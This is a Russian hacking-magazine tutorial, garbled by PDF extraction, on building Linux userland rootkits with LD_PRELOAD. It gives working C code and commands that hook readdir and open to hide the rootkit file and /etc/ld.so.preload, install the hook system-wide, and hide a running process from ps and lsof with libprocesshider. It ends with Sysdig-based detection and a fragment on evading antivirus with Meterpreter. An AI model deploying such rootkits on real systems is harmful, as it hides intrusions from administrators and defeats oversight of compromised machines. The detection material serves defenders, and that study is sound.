Преж де чем мы нач нем сбли жение с реаль ными фун кци ями рут китов, давай
на  неболь шом  при мере  покажу,  как  мож но  перех ватить  вызов  стан дар тной
фун кции  .malloc()

Для  это го  напишем  прос тую  прог рамму,  которая  выделя ет  блок  памяти
с помощью фун кции  , затем помеща ет в него фун кци ей 
стро ку «I’ll be back» и выводит ее пос редс твом   по адре су, который
вер нула  .

malloc() strncpy()
fprintf()

malloc()
Соз даем файл  :call_malloc.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

 int main()
{
           char *alloc = (char *)malloc(0x100);
       strncpy(alloc, "I'll be back\0", 14);
         fprintf(stderr, "malloc(): %p\nStr: %s\n", alloc, alloc);
}

Те перь  напишем прог рамму,  пере опре деля ющую  .  Внут ри — фун‐ 
кция  с  тем же  име нем,  что  и  в  libc.  Наша фун кция  не  дела ет  ничего,  кро ме
вывода стро ки в   c помощью  .

malloc()

STDERR fprintf()
Соз дадим файл  :libmalloc.c

#define _GNU_SOURCE

#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>

   void *malloc(size_t size)
{
       fprintf(stderr, "\nHijacked malloc(%ld)\n\n", size);
     return 0;
}

Те перь с помощью GCC ском пилиру ем наш код:

 

 

 

 
call_malloc.c  libmalloc.c
$ ls

 
 

 
call_malloc  call_malloc.c  libmalloc.c  libmalloc.so

$ gcc ‐Wall ‐fPIC ‐shared ‐o libmalloc.so libmalloc.c ‐ldl
$ gcc ‐o call_malloc call_malloc.c
$ ls

Вы пол ним нашу прог рамму call_malloc:

 

 

 
malloc(): 0x5585b2466260 
Str: I'll be back

$ ./call_malloc

Пос мотрим, какие биб лиоте ки исполь зует наша прог рамма, с помощью ути‐ 
литы  :ldd

 

 

 
   linux‐vdso.so.1 (0x00007fff0cd81000) 
   libc.so.6 => /lib/x86_64‐linux‐gnu/libc.so.6 (0x00007f0d35c74000) 
   /lib64/ld‐linux‐x86‐64.so.2 (0x00007f0d35e50000)

$ ldd ./call_malloc

От лично вид но, что без исполь зования пред загруз чика   стан дар‐ 
тно заг ружа ются три биб лиоте ки:

LD_PRELOAD

1.    —  пред став ляет  собой 
  (Virtual  Dynamic  Shared  Object,  vDSO),

который  при меня ется  для  опти миза ции  час то  исполь зуемых  сис темных
вызовов. Его мож но игно риро вать (под робнее —  ).

linuxvdso.so.1 вир туаль ный динами чес- 

кий  раз деля емый  объ ект

man 7 vdso

2.   — биб лиоте ка libc с исполь зуемой нами фун кци ей 
в прог рамме  .
libc.so.6 malloc()

call_malloc

3.   — сам динами чес кий ком понов щик.ldlinuxx8664.so.2

Те перь давай опре делим перемен ную   и поп робу ем перех ватить
.  Здесь  я  не  буду  исполь зовать  export  и  огра ничусь  однос троч ной

коман дой для прос тоты:

LD_PRELOAD
malloc()

 

 

 
Hijacked malloc(256) 
Ошиб ка сег менти рова ния

$ LD_PRELOAD=./libmalloc.so ./call_malloc

Мы  успешно  перех ватили    из  биб лиоте ки  ,  но  сде лали
это  не  сов сем  чис то.  Фун кция  воз вра щает  зна чение  ука зате ля  NULL,  что
при разыме нова нии   в прог рамме   вызыва ет ошиб‐ 
ку сег менти рова ния. Испра вим это.

malloc() libc.so

strncpy() ./call_malloc

ОБРАБОТКА СБОЕВ
Что бы иметь  воз можность  незамет но  выпол нить  полез ную наг рузку рут кита,
нам нуж но вер нуть зна чение, которое вер нула бы пер воначаль но выз ванная
фун кция. У нас есть два спо соба решить эту проб лему:

на ша фун кция   дол жна реали зовы вать фун кци ональ ность 
 биб лиоте ки  libc по зап росу поль зовате ля. Это пол ностью изба вит

от необ ходимос ти исполь зовать   из  ;

• malloc() mal

loc()

malloc() libc.so

  каким‐то  обра зом  дол жна  иметь  воз можность  вызывать
 из биб лиоте ки libc и воз вра щать резуль таты вызыва ющей прог‐ 

рамме.

• libmalloc.so

malloc()

Каж дый раз при вызове   динами чес кий ком понов щик вызыва ет вер‐ 
сию   из  , пос коль ку это пер вое вхож дение  .
Но мы  хотим  выз вать  сле дующее  вхож дение   —  то,  что  находит ся
в  .

malloc()
malloc() libmalloc.so malloc()

malloc()
libc.so
Так  про исхо дит  потому,  что  динами чес кий  ком понов щик  внут ри  исполь‐ 

зует  фун кцию    из    для  поис ка  адре са,  заг‐ 
ружен ного в память.

dlsym() /usr/include/dlfcn.h

По  умол чанию  в  качес тве  пер вого  аргу мен та  для    исполь зует ся
дес крип тор  ,  который  воз вра щает  адрес  пер вого  вхож дения
сим вола.  Одна ко  есть  еще  один  псев доука затель  динами чес кой  биб лиоте‐ 
ки —  , который ищет сле дующее вхож дение. Исполь зуя  ,
мы можем най ти фун кцию   биб лиоте ки  .

dlsym()
RTLD_DEFAULT

RTLD_NEXT RTLD_NEXT
malloc() libc.so

От редак тиру ем  .  Ком мента рии  объ ясня ют,  что  про исхо дит
внут ри прог раммы:

libmalloc.с

#define _GNU_SOURCE

#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// Определяем макрос, который является
// названием скрываемого файла
#define RKIT "rootkit.so"

// Здесь все то же, что и в примере с malloc()
         struct dirent* (*orig_readdir)(DIR *) = NULL;

     struct dirent *readdir(DIR *dirp)
{
       if (orig_readdir == NULL)
           orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir"
);

 // Вызов orig_readdir() для получения каталога
         struct dirent *ep = orig_readdir(dirp);

                   while ( ep != NULL && !strncmp(ep‐>d_name, RKIT, strlen(RKIT)) )
            ep = orig_readdir(dirp);

   return ep;
}

В  цик ле  про веря ется,  не  NULL  ли  зна чение  дирек тории,  затем  вызыва ется
 для про вер ки, сов пада ет ли   катало га с RKIT (фай ла с рут‐ 

китом).  Если  оба  усло вия  вер ны,  вызыва ется  фун кция 
для  чте ния  сле дующей  записи  катало га. При  этом про пус кают ся  все дирек‐ 
тории, у которых   начина ется с  .

strncmp() d_name
orig_readdir()

d_name rootkit.so
Те перь  давай  пос мотрим,  как  отра бота ет  наша  биб лиоте ка  в  этот  раз.

Сно ва ком пилиру ем и смот рим на резуль тат работы:

 

 

 
 

Hijacked malloc(256) 
malloc(): 0x55ca92740260 
Str: I'll be back

$ gcc ‐Wall ‐fPIC ‐shared ‐o libmalloc.so libmalloc.c ‐ldl
$ LD_PRELOAD=./libmalloc.so ./call_malloc

От лично! Как мы видим, все прош ло глад ко. Сна чала при пер вом вхож дении
 была  исполь зована  наша реали зация  этой фун кции,  а  затем ори‐ 

гиналь ная реали зация из биб лиоте ки  .
malloc()

libc.so
Те перь,  ког да  мы  понима ем,  как  работа ет    и  каким  обра зом

мы  можем  пре доп ределять  работу  со  стан дар тны ми  фун кци ями  сис темы,
самое вре мя при менить эти зна ния на прак тике.

LD_PRELOAD

Поп робу ем  сде лать  так,  что бы  ути лита  ,  ког да  выводит  спи сок фай лов,
про пус кала рут кит.

ls

СКРЫВАЕМ ФАЙЛ ИЗ ЛИСТИНГА LS
Боль шинс тво  динами чес ки  ском пилиро ван ных  прог рамм  исполь зуют  сис‐ 
темные  вызовы  стан дар тной  биб лиоте ки  .  С  помощью  ути литы    пос‐ 
мотрим, какие биб лиоте ки исполь зует прог рамма ls:

libc ldd

 

 

 
... 
libc.so.6 => /lib/x86_64‐linux‐gnu/libc.so.6 (0x00007f1ade498000) 
...

$ ldd /bin/ls

По луча ется,    динами чес ки  ском пилиро вана  с  исполь зовани ем  фун кций
биб лиоте ки  . Теперь пос мотрим, какие сис темные вызовы для чте ния
дирек тории исполь зует ути лита  . Для это го в пус той дирек тории выпол ним

:

ls

libc.so
ls

ltrace ls

 

 

 
memcpy(0x55de4a72e9b0, ".\0", 2)  = 0x55de4a72e9b0 
__errno_location()                = 0x7f3a35b07218 
opendir(".")                      = 0x55de4a72e9d0 
readdir(0x55de4a72e9d0)           = 0x55de4a72ea00 
readdir(0x55de4a72e9d0)           = 0x55de4a72ea18 
readdir(0x55de4a72e9d0)           = 0 
closedir(0x55de4a72e9d0)          = 0

$ ltrace ls

Оче вид но,  что  при  выпол нении  коман ды  без  аргу мен тов    исполь зует  сис‐ 
темные вызовы  ,   и  ,  которые вхо дят в биб‐ 
лиоте ку  libc.  Давай  теперь  задей ству ем    и  пере опре делим  эти
стан дар тные вызовы сво ими. Напишем прос тую биб лиоте ку, в которой изме‐ 
ним фун кцию  , что бы она скры вала наш файл с кодом.

ls

opendir() readdir() closedir()
LD_PRELOAD

readdir()
Здесь мы уже перехо дим к написа нию прос того рут кита без наг рузки. Все,

что  он  будет  делать, —  это  пря тать  сам  себя  от  глаз  адми нис тра тора  сис‐ 
темы.

Я  соз дал дирек торию    и  даль ше буду  работать  в  ней. Соз дадим
файл  .

rootkit
rkit.c

#define _GNU_SOURCE

#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define RKIT    "rootkit.so"
#define LD_PL   "ld.so.preload"

         struct dirent* (*orig_readdir)(DIR *) = NULL;

     struct dirent *readdir(DIR *dirp)
{
       if (orig_readdir == NULL)
             orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT,
"readdir");

             struct dirent *ep = orig_readdir( dirp );

           while ( ep != NULL &&
               ( !strncmp(ep‐>d_name, RKIT, strlen(RKIT)) ||

            !strncmp(ep‐>d_name, LD_PL, strlen(LD_PL))
        )) {
            ep = orig_readdir(dirp);

        }
   return ep;
}

Ком пилиру ем и про веря ем работу:

 

 

 

 
 

ито го 28K 
drwxr‐xr‐x 2 n0a n0a 4,0K ноя 23 23:46 . 
drwxr‐xr‐x 4 n0a n0a 4,0K ноя 23 23:33 .. 
‐rw‐r‐‐r‐‐ 1 n0a n0a  496 ноя 23 23:44 rkit.c 
‐rwxr‐xr‐x 1 n0a n0a  16K ноя 23 23:46 rootkit.so

$ gcc ‐Wall ‐fPIC ‐shared ‐o rootkit.so rkit.c ‐ldl
$ ls ‐lah

 
ито го 12K 
drwxr‐xr‐x 2 n0a n0a 4,0K ноя 23 23:46 . 
drwxr‐xr‐x 4 n0a n0a 4,0K ноя 23 23:33 .. 
‐rw‐r‐‐r‐‐ 1 n0a n0a  496 ноя 23 23:44 rkit.c

$ LD_PRELOAD=./rootkit.so ls ‐lah

Нам  уда лось  скрыть  файл    от  пос торон них  глаз.  Пока  мы  тес‐ 
тирова ли биб лиоте ку исклю читель но в пре делах одной коман ды.

rootkit.so

Используем /etc/ld.so.preload
Да вай вос поль зуем ся записью в   для сок рытия нашего
фай ла от всех поль зовате лей сис темы. Для это го запишем в 
путь до нашей биб лиоте ки:

/etc/ld.so.preload
ld.so.preload

 

 

 

 
rkit.c  rootkit.so
# ls

 
 

rkit.c

# echo $(pwd)/rootkit.so > /etc/ld.so.preload
# ls

Те перь  мы  скры ли  файл  ото  всех  поль зовате лей  (хотя  это  не  сов сем  так,
но  об  этом  поз же).  Но  опыт ный  адми нис тра тор  доволь но  лег ко  нас  обна‐ 
ружит,  так  как  само  по  себе  наличие  фай ла    может
говорить  о  при сутс твии  рут кита  —  осо бен но  если  рань ше  такого  фай ла
не было.

/etc/ld.so.preload

СКРЫВАЕМ LD.SO.PRELOAD
Да вай попыта емся скрыть из лис тинга и сам файл  . Нем ного
модифи циру ем код  :

ld.so.preload
rkit.c

#define _GNU_SOURCE

#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define RKIT    "rootkit.so"
#define LD_PL   "ld.so.preload"

         struct dirent* (*orig_readdir)(DIR *) = NULL;

     struct dirent *readdir(DIR *dirp)
{
       if (orig_readdir == NULL)
             orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT,
"readdir");

             struct dirent *ep = orig_readdir( dirp );

           while ( ep != NULL &&
               ( !strncmp(ep‐>d_name, RKIT, strlen(RKIT)) ||

            !strncmp(ep‐>d_name, LD_PL, strlen(LD_PL))
        )) {
            ep = orig_readdir(dirp);

        }
   return ep;
}

Для наг ляднос ти я добавил к пре дыду щей прог рамме еще один мак рос 
c име нем фай ла  ,  который мы  так же добави ли в цикл  ,
где срав нива ем имя фай ла для скры тия.

LD_PL
ld.so.preload while

Пос ле  ком пиляции  исходный  файл    будет  переза писан  и  из
вывода ути литы   про падет и нуж ный файл  . Про веря ем:

rootkit.so
ls ld.so.preload

 

 

 

 
 

rkit.c

$ gcc ‐Wall ‐fPIC ‐shared ‐o rootkit.so rkit.c ‐ldl
$ ls

 
... 
ldap          tmpfiles.d 
ld.so.cache   ucf.conf 
ld.so.conf    udev 
ld.so.conf.d  udisks2 
libao.conf    ufw 
libaudit.conf update‐motd.d 
libblockdev   UPower 
...

$ ls /etc/

Здо рово! Мы толь ко что ста ли на один шаг бли же к пол ной кон спи рации. Вро‐ 
де бы это победа, но не спе ши радовать ся.

Продолжение статьи →

mailto:me@n0a.pw
https://compilepeace.medium.com/memory-malware-part-0x2-writing-userland-rootkits-via-ld-preload-30121c8343d5
https://www.gnu.org/software/libc/manual/html_node/The-GNU-Allocator.html
https://www.gnu.org/software/libc/manual/


ОПЕРАЦИЯ
«ПРЕДЗАГРУЗКА»

СОЗДАЕМ USERLAND‐РУТКИТЫ В LINUX
С ПОМОЩЬЮ LD_PRELOAD

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ПОГРУЖАЕМСЯ ГЛУБЖЕ
Да вай  про верим,  смо жем  ли  мы  про читать  файл    коман дой

:
ld.so.preload

cat

 

 

 
/root/rootkit/src/rootkit.so
$ cat /etc/ld.so.preload

Так‐так‐так.  Получа ется,  мы  пло хо  спря тались,  если  наличие  нашего  фай ла
мож но про верить прос тым чте нием. Почему так выш ло?

Оче вид но,  что  для  получе ния  содер жимого  ути лита    вызыва ет  дру гую
фун кцию — не  , которую мы так ста ратель но перепи сыва ли. Что ж,
давай пос мотрим, что исполь зует cat:

cat

readdir()

 

 

 
... 
__fxstat(1, 1, 0x7ffded9f6180)      = 0 
getpagesize()                       = 4096 
open("/etc/ld.so.preload", 0, 01)   = 3 
__fxstat(1, 3, 0x7ffded9f6180)      = 0 
posix_fadvise(3, 0, 0, 2)           = 0 
...

$ ltrace cat /etc/ld.so.preload

На  этот  раз  нам  нуж но  порабо тать  с  фун кци ей  .  Пос коль ку  мы  уже
опыт ные,  давай  добавим  в  наш  рут кит  фун кцию,  которая  при  обра щении
к фай лу   будет веж ливо говорить, что фай ла не сущес‐ 
тву ет (Error no entry или прос то  ).

open()

/etc/ld.so.preload
ENOENT

Сно ва модифи циру ем  :rkit.c

#define _GNU_SOURCE

#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

// Добавляем путь, который использует open()
// для открытия файла /etc/ld.so.preload
#define LD_PATH "/etc/ld.so.preload"
#define RKIT    "rootkit.so"
#define LD_PL   "ld.so.preload"

         struct dirent* (*orig_readdir)(DIR *) = NULL;

// Сохраняем указатель оригинальной функции open
           int (*o_open)(const char*, int oflag) = NULL;

     struct dirent *readdir(DIR *dirp)
{
       if (orig_readdir == NULL)
             orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT,
"readdir");

             struct dirent *ep = orig_readdir( dirp );

           while ( ep != NULL &&
               ( !strncmp(ep‐>d_name, RKIT, strlen(RKIT)) ||

            !strncmp(ep‐>d_name, LD_PL, strlen(LD_PL))
        )) {
            ep = orig_readdir(dirp);

        }
   return ep;
}

// Работаем с функцией open()
           int open(const char *path, int oflag, ...)

{
   char real_path[PATH_MAX];
 if(!o_open)
         o_open = dlsym(RTLD_NEXT, "open");
   realpath(path, real_path);
       if(strcmp(real_path, LD_PATH) == 0)
 {
       errno = ENOENT;
     return ‐1;
 }
     return o_open(path, oflag);
}

Здесь мы добави ли кусок кода, который дела ет то же самое, что и с 
. Ком пилиру ем и про веря ем:

readdir(
)

 

 

 
 

cat: /etc/ld.so.preload: Нет такого фай ла или катало га

$ gcc ‐Wall ‐fPIC ‐shared ‐o rootkit.so rkit.c ‐ldl
$ cat /etc/ld.so.preload

Так  гораз до луч ше, но это еще далеко не все вари анты обна руже ния 
.

/etc/
ld.so.preload

Мы до сих пор можем без проб лем уда лить файл, перемес тить его со сме‐ 
ной наз вания (и тог да  ls сно ва его уви дит), поменять ему пра ва без уве дом‐ 
ления  об  ошиб ке.  Даже  bash  услужли во  про дол жит  его  имя  при  нажатии
на Tab.

В хороших рут китах, экс плу ати рующих лазей ку с  , реали зован
перех ват сле дующих фун кций:

LD_PRELOAD

,  ,  ;• listxattr llistxattr flistxattr

,  ,  ;• getxattr lgetxattr fgetxattr

,  ,  ;• setxattr lsetxattr fsetxattr

,  ,  ;• removexattr lremovexattr fremovexattr

,  ,  ,  ;• open open64 openat creat

,  ,  ;• unlink unlinkat rmdir

,  ;• symlink symlinkat

,  ,  ,  ,  ,  ,  ,
,  ;

• mkdir mkdirat chdir fchdir opendir opendir64 fdopendir

readdir readdir64

.• execve

Раз бирать под мену каж дой из них мы, конеч но же, не будем. Можешь в качес‐ 
тве  при мера  перех вата  перечис ленных  фун кций  пос мотреть  рут кит   —
там все те же   и  .

cub3
dlsym() RTLD_NEXT

СКРЫВАЕМ ПРОЦЕСС С ПОМОЩЬЮ LD_PRELOAD
При  работе  рут киту  нуж но  как‐то  скры вать  свою  активность  от  стан дар тных
ути лит монито рин га, таких как  ,  ,  .lsof ps top

Мы уже доволь но деталь но разоб рались,  как работа ет пере опре деле ние
фун кций  . Для про цес сов все то же самое. Более того, стан дар‐ 
тные прог раммы исполь зуют в сво ей работе  ,  вир туаль ную фай ловую
сис тему,  которая  пред став ляет  собой  интерфейс  для  вза имо дей ствия
с ядром ОС.

LD_PRELOAD
procfs

Чте ние и запись в procfs реали зова ны  так же,  как и в обыч ной фай ловой
сис теме.  То  есть,  как  ты  можешь  догадать ся,  наш  опыт  с    здесь
при дет ся кста ти. :)

readdir()

libprocesshider
Как скрыть активность из монито рин га, пред лагаю рас смот реть на хорошем
при мере  ,  который  раз работал  Джан лука  Борел ло  (Gianluca
Borello), автор   (о Sysdig и методах обна руже ния рут китов 

 мы погово рим в кон це статьи).

libprocesshider
Sysdig.com LD_PRE‐

LOAD
Да вай ско пиру ем код с GitHub и раз берем ся, что к чему:

 

 

 
 

 
evil_script.py  Makefile  processhider.c  README.md

$ git clone https://github.com/gianlucaborello/libprocesshider
$ cd libprocesshider
$ ls

В опи сании к   все прос то: дела ем  ,  копиру ем в 
  и  добав ляем  в  .  Сде лаем  все,  кро ме  пос‐ 

ледне го:

libprocesshider make /usr/
local/lib/ /etc/ld.so.preload

make $ 
gcc       $  ‐Wall ‐fPIC ‐shared ‐o libprocesshider.so processhider.c ‐ldl

libprocesshider.so /usr/local/lib/ $ sudo mv 

Те перь давай пос мотрим, каким обра зом ps получа ет информа цию о про цес‐ 
сах. Для это го запус тим ltrace:

 

 

 
... 
time(0)                                                      = 
1606208519 
meminfo(0, 4096, 0, 0x7f1787ce9207)                          = 0 
openproc(96, 0, 0, 0)                                        = 
0x55c6f9f145c0 
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0x7f1787651010, 0)  = 
0x55c6f8258580 
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 7)               = 
0x55c6f8258580 
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5)               = 
0x55c6f8258580 
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5)               = 
0x55c6f8258580 
...

$ ltrace /bin/ps

Ин форма цию о  про цес се  получа ем  при  помощи фун кции  . Пос‐ 
мотрим реали зацию этой фун кции в фай ле  :

readproc()
readproc.c

             
     

static int simple_nextpid(PROCTAB *restrict const PT, proc_t *
restrict const p) {
       static struct direct *ent;
           char *restrict const path = PT‐>path;
     for (;;) {
       ent = readdir(PT‐>procfs);
           if(unlikely(unlikely(!ent) || unlikely(!ent‐>d_name))) return 0;
               

 
if(likely(likely(*ent‐>d_name > '0') && likely(*ent‐>d_name <=

'9'))) break;
 }
         p‐>tgid = strtoul(ent‐>d_name, NULL, 10);
     p‐>tid = p‐>tgid;
     memcpy(path, "/proc/", 6);
   strcpy(path+6, ent‐>d_name);
   return 1;
}

Из  это го  кода  понят но,  что  PID  про цес сов  получа ют,  вызывая 
в цик ле  . Дру гими сло вами, если нет дирек тории про цес са — нет и самого
про цес са  для  ути лит  монито рин га.  При веду  при мер  час ти  кода 

,  где  уже  зна комым  нам методом мы  скры ваем  дирек торию  про‐ 
цес са:

readdir()
for

libpro‐
cesshider

...
while(1)
{
       dir = original_##readdir(dirp);
     if(dir) {

        char dir_name[256];
        char process_name[256];

            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&
                  strcmp(dir_name, "/proc") == 0 &&

              get_process_name(dir‐>d_name, process_name) &&
                  strcmp(process_name, process_to_filter) == 0) {

           continue;
       }
   }
    break;
}

 return dir;
...

При чем  само  имя  про цес са    берет ся  из 
.

get_process_name() /proc/pid/
stat

Про верим  наши  догад ки.  Для  это го  запус тим  пред лага емый
 в фоне:evil_script.py

 

 

 $ ./evil_script.py 1.2.3.4 1234 &
[1] 3435

 — это PID нашего работа юще го про цес са  . Про верим
вывод  ути литы  htop  и  убе дим ся,  что    при сутс тву ет  в  спис ке
про цес сов.

3435 evil_script.py
evil_script.py

evil_script.py в спис ке про цес сов htop

Про верим вывод ps и lsof для обна руже ния сетевой активнос ти:

 

 

 

 
root       3435 99.5  0.4  19272  8260 pts/1    R    11:48  63:20 
/usr/bin/python ./evil_script.py 1.2.3.4 1234 
root       3616  0.0  0.0   6224   832 pts/0    S+   12:52   0:00 grep 
evil_script.py

$ sudo ps aux | grep evil_script.py

 
evil_scri 3435        root    3u  IPv4  41410      0t0  UDP 
192.168.232.138:52676‐>1.2.3.4:1234

$ sudo lsof ‐ni | grep evil_scri

Те перь пос мотрим, сущес тву ет ли дирек тория с PID про цес са 
:

evil_script.
py

 

 

 

 
3435
$ sudo ls /proc | grep 3435

 
Name: evil_script.py 
Umask:  0022 
State:  R (running) 
Tgid: 3435 
Ngid: 0 
Pid:  3435 
...

$ cat /proc/3435/status

Все  пред ска зуемо.  Теперь  самое  вре мя  добавить  биб лиоте ку 
 в пред загруз ку гло баль но для всей сис темы. Про пишем ее в 

:

libpro‐
cesshider.so /
etc/ld.so.preload

# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

Про веря ем дирек торию  , а так же вывод lsof и ps./proc

 

 

 
 

ps aux | grep evil_script.py 
root       3707  0.0  0.0   6244   900 pts/0    S+   13:10   0:00 grep 
evil_script.py

$ ls /proc | grep 3435
$ lsof ‐ni | grep evil_scri

Ре зуль тат  налицо.  Теперь  в    нель зя  пос мотреть  дирек торию  с  PID
скрип та  . Одна ко ста тус про цес са по‐преж нему виден в фай‐ 
ле  .

/proc
evil_script.py

/proc/3435/status

 

 

 
Name: evil_script.py 
Umask:  0022 
State:  R (running) 
Tgid: 3435 
Ngid: 0 
Pid:  3435 
...

$ cat /proc/3435/status

По дыто жим.  В  пер вой  час ти  статьи  мы  изу чили  методы  перех вата  фун кций
и их изме нение, что поз воля ет скры вать рут киты. А даль ше про дела ли то же
самое для скры тия про цес сов от стан дар тных ути лит монито рин га.

Как  ты догады ваешь ся, прос тые рут киты, нес мотря на все хит рости, под‐ 
дают ся детек ту. Нап ример, при помощи манипу ляций с фай лом 

 или изу чения исполь зуемых биб лиотек через ldd.
/etc/ld.so.

preload
Но что делать, если автор рут кита нас толь ко хорош, что захукал все воз‐ 

можные фун кции,  ldd мол чит, а подоз рения на сетевую или иную активность
все же есть?

SYSDIG КАК РЕШЕНИЕ
В  отли чие  от  стан дар тных  инс тру мен тов,  ути лита    устро ена  по‐дру‐ 
гому.  По  архи тек туре  она  близ ка  к  таким  про дук там,  как  , 
и  .

Sysdig

libcap tcpdump

Wireshark

Спе циаль ный  драй вер  sysdig‐probe  перех ватыва ет  сис темные  события
на  уров не  ядра,  пос ле  чего  акти виру ется  фун кция  ядра  ,
которая, в свою оче редь, запус кает обра бот чики этих событий. Обра бот чики
сох раня ют  информа цию  о  событии  в  сов мес тно  исполь зуемом  буфере.
Затем эта информа ция может быть выведе на на экран или сох ранена в тек‐ 
сто вом фай ле.

tracepoints

Да вай  пос мотрим,  как  с  помощью  Sysdig  най ти  .  К  при‐ 
меру, по заг рузке цен траль ного про цес сора:

evil_script.py

 

 

 
CPU%                Process             PID 

 
99.00%              evil_script.py      5979 
2.00%               sysdig              5997 
0.00%               sshd                928 
0.00%               wpa_supplicant      474 
0.00%               systemd             909 
0.00%               exim4               850 
0.00%               sshd                938 
0.00%               su                  948 
0.00%               in:imklog           472 
0.00%               in:imuxsock         472

$ sudo sysdig ‐c topprocs_cpu

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

Мож но пос мотреть выпол нение ps. Бонусом Sysdig покажет, что динами чес‐ 
кий  ком понов щик  заг ружал  поль зователь скую  биб лиоте ку 
рань ше, чем  :

libprocesshide
libc

 

 

 
2731 00:21:52.721054253 1 ps (3351) < execve res=0 exe=ps args=aux. 
tid=3351(ps) pid=3351(ps) (out)ptid=3111(bash) cwd=/home/gianluca fdlim‐
it=1024 pgft_maj=0 pgft_min=62 vm_size=512 vm_rss=4 vm_swap=0 
... 
2739 00:21:52.721129329 1 ps (3351) < open fd=3(/usr/local/lib/libpro‐
cesshider.so) name=/usr/local/lib/libprocesshider.so flags=1(O_RDONLY) 
mode=0 
2740 00:21:52.721130670 1 ps (3351) > read fd=3(/usr/local/lib/libpro‐
cesshider.so) size=832 
... 
2810 00:21:52.721293540 1 ps (3351) > open 
2811 00:21:52.721296677 1 ps (3351) < open fd=3(/lib/x86_64‐linux‐
gnu/libc.so.6) name=/lib/x86_64‐linux‐gnu/libc.so.6 flags=1(O_RDONLY) 
mode=0 
2812 00:21:52.721297343 1 ps (3351) > read fd=3(/lib/x86_64‐linux‐
gnu/libc.so.6) size=832 
...

$ sudo sysdig proc.name = ps

Схо жие фун кции  пре дос тавля ют  ути литы  ,    и  его  све жая
пол ноцен ная замена —  .

SystemTap DTrace

BpfTrace

Дополнительная литература

 (блог haxelion)• LD_NOT_PRELOADED_FOR_REAL
 (Sysdig)• Hiding Linux processes for fun + profit
 (3proxy)• Reverse Engineering with LD_PRELOAD

• Раз деля емые биб лиоте ки (shared libraries)
 («Хаб рахабр»)• В поис ках LD_PRELOAD

(«Хаб рахабр»)
• Прак тичес кое  при мене ние  LD_PRELOAD  или  замеще ние фун кций  в  Linux

 («Хаб рахабр»)• Пе ренап равле ние фун кций в раз деля емых ELF‐биб лиоте ках
 (Volatility Labs)• MoVP 2.4 Analyzing the Jynx rootkit and LD_PRELOAD

 (блог FlUxIuS)• The magic of LD_PRELOAD for Userland Rootkits
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Про екты на GitHub:
•detect_preload
•cub3
•rkorova
•ld‐preload
•awesome‐ld‐preload

https://github.com/mempodippy/cub3/blob/master/cub3.c
https://github.com/gianlucaborello/libprocesshider
https://sysdig.com/
https://sourceware.org/systemtap/
http://www.brendangregg.com/dtrace.html
https://habr.com/ru/company/oleg-bunin/blog/500456/
https://haxelion.eu/article/LD_NOT_PRELOADED_FOR_REAL/
https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/
https://3proxy.org/articles/reveng/
https://www.opennet.ru/base/dev/shared_lib_intro.txt.html
https://habr.com/ru/post/479858/
https://habr.com/ru/post/199090/
https://habr.com/ru/post/106107/
https://volatility-labs.blogspot.com/2012/09/movp-24-analyzing-jynx-rootkit-and.html
http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/
https://github.com/mempodippy/detect_preload
https://github.com/mempodippy/cub3/blob/master/cub3.c
https://github.com/nopn0p/rkorova/
https://github.com/topics/ld-preload
https://github.com/gaul/awesome-ld-preload
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ВЗЛОМ

Скры тие полез ной наг рузки от анти виру са — это серь езная
проб лема  при  пен тестин ге  рабочих  стан ций.  Даже  род ной
Windows  Defender  отлично  справ ляет ся  с  детек тирова нием
Meterpreter,  так  что  при ходит ся  идти  на  допол нитель ные
ухищ рения.  В  этом  матери але  я  раз беру  эффектив ность
энко дера Shikata Ga Nai, про тес тирую пей лоад на ста тичес‐ 
кий  ана лиз  и  поп робую  запус тить  Meterpreter  нап рямую
из памяти.

Meterpreter  —  это  рас ширен ная  мно гофун кци ональ ная  наг рузка  (payload),
которая  исполь зует ся  в  Metasploit  Framework  как  уни фици рован ная  осно ва
для  пос тэкс плу ата ции.  По  сути  —  про качан ная  аль тер натива  клас сичес ким
шелл‐кодам. Это отличный инс тру мент в арсе нале любого пен тесте ра, но он
нас толь ко популя рен, что его сиг натуры есть в базах любого защит ного ПО,
будь то Windows 10, анти вирус или даже Google Chrome.

SHIKATA GA NAI
Од на из основных тех ник Metasploit — это схе ма кодиро вания полез ной наг‐ 
рузки  Shikata  Ga  Nai  (наз вание  перево дит ся  с  япон ско го  как  «ничего
не  подела ешь»).  Работа ет  она  за  счет  SGN,  уни каль ного  «полимор фно го
адди тив ного энко дера XOR». Бла года ря ему каж дый раз, ког да ты кодиру ешь
шелл‐код,  это  будет  про исхо дить  по‐дру гому,  от  чего  наг рузка  ста новит ся
для анти виру са безопас ной на вид.

В  SGN  реали зова ны:  динами чес кая  замена  команд,  динами чес кое  упо‐ 
рядо чение  бло ков,  слу чай ный  обмен  регис тра ми,  ран домиза ция  поряд ка
команд,  встав ка  ненуж ного  кода,  исполь зование  слу чай ного  клю ча  и  ран‐ 
домиза ция рас сто яния меж ду коман дами.

При  всех  плю сах  тех ника  кодиро вания  Shikata  Ga  Nai  не  всег да  быва ет
эффектив ной на пос ледних вер сиях Windows.

WWW

  читай  в  пуб ликации
